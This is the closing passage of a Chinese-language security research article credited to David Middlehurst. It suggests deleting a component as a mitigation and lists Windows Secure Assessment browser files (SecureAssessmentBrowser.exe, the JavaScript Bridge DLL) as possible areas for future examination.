不过,可能还有一种解决方法,那就是将其直接删除。我们假设它没有任何其他有效的用途。

0x08 后续工作

在这些组件中可能还存在其他攻击面,包括:

SecureAssessmentBrowser.exe - 安全浏览器实现本身

SecureAssessment_JSBridge.dll 和 SecureAssessment_JSBridge.winmd - JavaScript Bridge实现

不过,与其他Windows组件一样,对它们进行仔细检查的可能性似乎也比较小。

这篇文章由David Middlehurst撰写。